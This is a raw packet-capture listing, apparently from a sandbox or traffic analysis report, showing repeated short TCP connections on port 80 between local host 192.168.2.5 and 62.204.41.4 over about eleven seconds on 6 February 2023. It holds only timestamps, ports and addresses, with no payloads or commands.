Feb 6, 2023 14:17:28.517110109 CET	49843	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:28.518181086 CET	49844	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:28.579610109 CET	80	49844	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:28.579881907 CET	49844	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:28.579937935 CET	80	49843	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:28.580029011 CET	49843	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:28.581101894 CET	49844	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:28.641652107 CET	80	49844	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:28.644062996 CET	80	49844	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:28.644151926 CET	49844	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:28.751944065 CET	49844	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:28.752958059 CET	49845	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:28.812351942 CET	80	49845	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:28.812413931 CET	80	49844	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:28.812594891 CET	49845	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:28.813723087 CET	49844	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:28.815135002 CET	49845	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:28.876842976 CET	80	49845	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:28.877813101 CET	80	49845	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:28.877962112 CET	49845	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:28.989367008 CET	49845	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:28.990365982 CET	49846	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:29.050034046 CET	80	49845	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:29.050229073 CET	49845	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:29.051280022 CET	80	49846	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:29.051450968 CET	49846	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:29.052087069 CET	49846	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:29.113013029 CET	80	49846	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:29.116605043 CET	80	49846	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:29.116784096 CET	49846	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:29.221580982 CET	49846	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:29.222516060 CET	49847	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:29.282124043 CET	80	49846	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:29.282171965 CET	80	49847	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:29.282301903 CET	49846	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:29.282345057 CET	49847	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:29.282943964 CET	49847	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:29.342864037 CET	80	49847	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:29.346607924 CET	80	49847	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:29.346772909 CET	49847	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:29.454536915 CET	49847	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:29.455377102 CET	49848	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:29.514834881 CET	80	49847	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:29.515018940 CET	49847	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:29.520565033 CET	80	49848	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:29.520719051 CET	49848	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:29.531647921 CET	49848	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:29.596467018 CET	80	49848	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:29.596512079 CET	80	49848	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:29.596610069 CET	49848	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:29.728530884 CET	49848	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:29.731648922 CET	49849	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:29.791848898 CET	80	49848	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:29.791990042 CET	49848	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:29.796542883 CET	80	49849	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:29.797102928 CET	49849	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:29.835563898 CET	49849	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:29.899497986 CET	80	49849	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:29.900589943 CET	80	49849	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:29.900660992 CET	49849	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:30.018657923 CET	49849	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:30.019546986 CET	49850	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:30.080660105 CET	80	49849	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:30.080753088 CET	49849	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:30.084048033 CET	80	49850	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:30.084242105 CET	49850	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:30.084700108 CET	49850	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:30.146362066 CET	80	49850	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:30.150609970 CET	80	49850	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:30.150702953 CET	49850	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:30.275679111 CET	49850	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:30.276542902 CET	49851	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:30.338004112 CET	80	49850	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:30.338092089 CET	49850	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:30.339896917 CET	80	49851	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:30.340014935 CET	49851	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:30.340440035 CET	49851	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:30.402816057 CET	80	49851	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:30.406188965 CET	80	49851	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:30.406291008 CET	49851	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:30.520920038 CET	49851	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:30.521575928 CET	49852	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:30.582170963 CET	80	49852	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:30.583481073 CET	80	49851	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:30.583666086 CET	49851	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:30.585099936 CET	49852	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:30.586453915 CET	49852	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:30.647423029 CET	80	49852	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:30.649900913 CET	80	49852	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:30.649976969 CET	49852	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:30.804244995 CET	49852	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:30.805274963 CET	49853	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:30.864866972 CET	80	49852	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:30.866406918 CET	80	49853	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:30.866575956 CET	49852	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:30.866610050 CET	49853	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:30.867273092 CET	49853	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:30.928435087 CET	80	49853	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:30.931150913 CET	80	49853	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:30.931288004 CET	49853	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:31.042826891 CET	49853	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:31.043700933 CET	49854	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:31.104315042 CET	80	49853	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:31.104574919 CET	80	49854	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:31.104753017 CET	49853	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:31.104818106 CET	49854	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:31.105330944 CET	49854	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:31.166461945 CET	80	49854	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:31.170226097 CET	80	49854	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:31.170474052 CET	49854	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:31.283341885 CET	49854	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:31.284267902 CET	49855	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:31.344151974 CET	80	49854	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:31.344747066 CET	49854	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:31.348660946 CET	80	49855	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:31.348794937 CET	49855	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:31.349236965 CET	49855	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:31.411636114 CET	80	49855	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:31.414278984 CET	80	49855	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:31.414482117 CET	49855	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:31.517241955 CET	49855	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:31.518114090 CET	49856	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:31.579499960 CET	80	49856	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:31.579716921 CET	49856	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:31.580496073 CET	80	49855	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:31.580588102 CET	49855	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:31.586278915 CET	49856	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:31.647218943 CET	80	49856	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:31.649513006 CET	80	49856	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:31.649669886 CET	49856	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:31.752912045 CET	49856	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:31.753869057 CET	49857	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:31.813488960 CET	80	49856	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:31.813635111 CET	49856	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:31.815473080 CET	80	49857	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:31.815618992 CET	49857	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:31.816085100 CET	49857	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:31.877563000 CET	80	49857	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:31.880172968 CET	80	49857	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:31.880333900 CET	49857	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:32.582681894 CET	49857	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:32.624041080 CET	49858	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:32.644357920 CET	80	49857	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:32.644480944 CET	49857	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:32.685739040 CET	80	49858	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:32.685952902 CET	49858	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:32.692574978 CET	49858	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:32.754210949 CET	80	49858	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:32.758615971 CET	80	49858	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:32.758788109 CET	49858	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:32.904586077 CET	49858	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:32.905292988 CET	49859	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:32.967176914 CET	80	49859	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:32.967283964 CET	80	49858	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:32.967350006 CET	49859	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:32.967386007 CET	49858	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:33.007738113 CET	49859	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:33.069269896 CET	80	49859	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:33.074064016 CET	80	49859	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:33.074199915 CET	49859	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:33.243849993 CET	49859	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:33.244801998 CET	49860	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:33.305628061 CET	80	49859	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:33.305790901 CET	49859	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:33.306320906 CET	80	49860	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:33.306478977 CET	49860	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:33.773507118 CET	49860	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:33.835035086 CET	80	49860	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:33.837563038 CET	80	49860	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:33.837692022 CET	49860	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:33.975332022 CET	49860	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:33.976344109 CET	49861	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:34.036765099 CET	80	49861	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:34.036808014 CET	80	49860	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:34.037025928 CET	49860	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:34.039385080 CET	49861	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:34.059958935 CET	49861	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:34.120678902 CET	80	49861	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:34.124953985 CET	80	49861	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:34.125149965 CET	49861	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:34.283469915 CET	49861	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:34.284287930 CET	49862	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:34.343983889 CET	80	49861	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:34.344178915 CET	49861	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:34.345949888 CET	80	49862	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:34.346142054 CET	49862	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:34.385168076 CET	49862	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:34.446909904 CET	80	49862	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:34.449311972 CET	80	49862	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:34.449486971 CET	49862	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:35.435866117 CET	49862	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:35.436533928 CET	49863	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:35.498333931 CET	80	49862	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:35.498425961 CET	80	49863	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:35.498588085 CET	49862	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:35.501059055 CET	49863	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:35.672249079 CET	49863	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:35.733597040 CET	80	49863	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:35.737863064 CET	80	49863	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:35.738002062 CET	49863	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:35.926279068 CET	49863	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:35.927963018 CET	49864	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:35.987664938 CET	80	49863	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:35.987786055 CET	49863	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:35.988671064 CET	80	49864	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:35.989013910 CET	49864	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:35.997425079 CET	49864	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:36.058010101 CET	80	49864	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:36.062361956 CET	80	49864	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:36.062721014 CET	49864	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:36.204863071 CET	49864	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:36.205914021 CET	49865	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:36.265374899 CET	80	49864	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:36.266201973 CET	80	49865	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:36.266355038 CET	49864	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:36.266436100 CET	49865	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:36.266769886 CET	49865	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:36.326961994 CET	80	49865	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:36.329330921 CET	80	49865	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:36.329421997 CET	49865	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:36.439920902 CET	49865	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:36.441215038 CET	49866	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:36.500221014 CET	80	49865	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:36.500418901 CET	49865	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:36.500523090 CET	80	49866	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:36.500633955 CET	49866	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:36.501144886 CET	49866	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:36.560633898 CET	80	49866	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:36.565888882 CET	80	49866	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:36.566015005 CET	49866	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:36.674463987 CET	49866	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:36.675635099 CET	49867	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:36.733906984 CET	80	49866	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:36.734173059 CET	49866	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:36.737215042 CET	80	49867	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:36.737435102 CET	49867	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:36.742778063 CET	49867	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:36.804337978 CET	80	49867	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:36.806961060 CET	80	49867	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:36.807141066 CET	49867	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:36.924272060 CET	49867	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:36.924988985 CET	49868	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:36.985801935 CET	80	49868	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:36.985842943 CET	80	49867	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:36.985961914 CET	49868	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:36.985979080 CET	49867	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:36.986361980 CET	49868	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:37.047269106 CET	80	49868	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:37.051250935 CET	80	49868	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:37.051429033 CET	49868	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:37.174735069 CET	49868	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:37.177155972 CET	49869	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:37.235573053 CET	80	49868	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:37.235786915 CET	49868	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:37.238535881 CET	80	49869	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:37.238724947 CET	49869	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:37.244652033 CET	49869	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:37.306762934 CET	80	49869	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:37.309365988 CET	80	49869	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:37.310091972 CET	49869	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:37.424063921 CET	49869	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:37.424829960 CET	49870	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:37.485292912 CET	80	49870	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:37.485558987 CET	49870	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:37.485727072 CET	80	49869	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:37.486432076 CET	49870	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:37.486784935 CET	49869	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:37.546725035 CET	80	49870	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:37.549299002 CET	80	49870	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:37.549429893 CET	49870	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:37.662098885 CET	49870	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:37.662914038 CET	49871	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:37.722517967 CET	80	49870	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:37.722640991 CET	49870	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:37.724292040 CET	80	49871	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:37.724412918 CET	49871	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:37.725069046 CET	49871	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:37.786303997 CET	80	49871	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:37.788887978 CET	80	49871	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:37.788976908 CET	49871	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:37.893397093 CET	49871	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:37.894265890 CET	49872	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:37.954822063 CET	80	49871	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:37.954961061 CET	49871	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:37.956350088 CET	80	49872	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:37.956480980 CET	49872	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:37.956882954 CET	49872	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:38.019488096 CET	80	49872	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:38.021882057 CET	80	49872	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:38.022067070 CET	49872	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:38.131037951 CET	49872	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:38.133208990 CET	49873	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:38.193406105 CET	80	49872	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:38.193610907 CET	49872	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:38.194415092 CET	80	49873	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:38.194735050 CET	49873	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:38.196580887 CET	49873	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:38.257877111 CET	80	49873	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:38.263432980 CET	80	49873	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:38.264715910 CET	49873	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:38.378587961 CET	49873	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:38.378849983 CET	49874	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:38.439378023 CET	80	49874	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:38.439574003 CET	49874	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:38.440023899 CET	80	49873	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:38.440488100 CET	49874	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:38.441246033 CET	49873	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:38.501008034 CET	80	49874	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:38.503765106 CET	80	49874	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:38.503945112 CET	49874	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:38.611597061 CET	49874	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:38.612555027 CET	49875	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:38.672497988 CET	80	49874	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:38.672624111 CET	49874	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:38.673811913 CET	80	49875	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:38.674101114 CET	49875	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:38.674669981 CET	49875	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:38.736036062 CET	80	49875	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:38.739365101 CET	80	49875	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:38.739470959 CET	49875	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:38.845912933 CET	49875	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:38.846854925 CET	49876	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:38.907526016 CET	80	49875	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:38.907664061 CET	49875	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:38.908247948 CET	80	49876	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:38.908848047 CET	49876	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:38.908848047 CET	49876	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:38.970312119 CET	80	49876	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:38.973138094 CET	80	49876	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:38.976697922 CET	49876	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:39.085870981 CET	49877	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:39.087380886 CET	49876	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:39.145535946 CET	80	49877	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:39.145775080 CET	49877	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:39.148750067 CET	80	49876	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:39.153316975 CET	49876	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:39.154447079 CET	49877	80	192.168.2.5	62.204.41.4
Feb 6, 2023 14:17:39.213880062 CET	80	49877	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:39.218770981 CET	80	49877	62.204.41.4	192.168.2.5
Feb 6, 2023 14:17:39.219014883 CET	49877	80	192.168.2.5	62.204.41.4
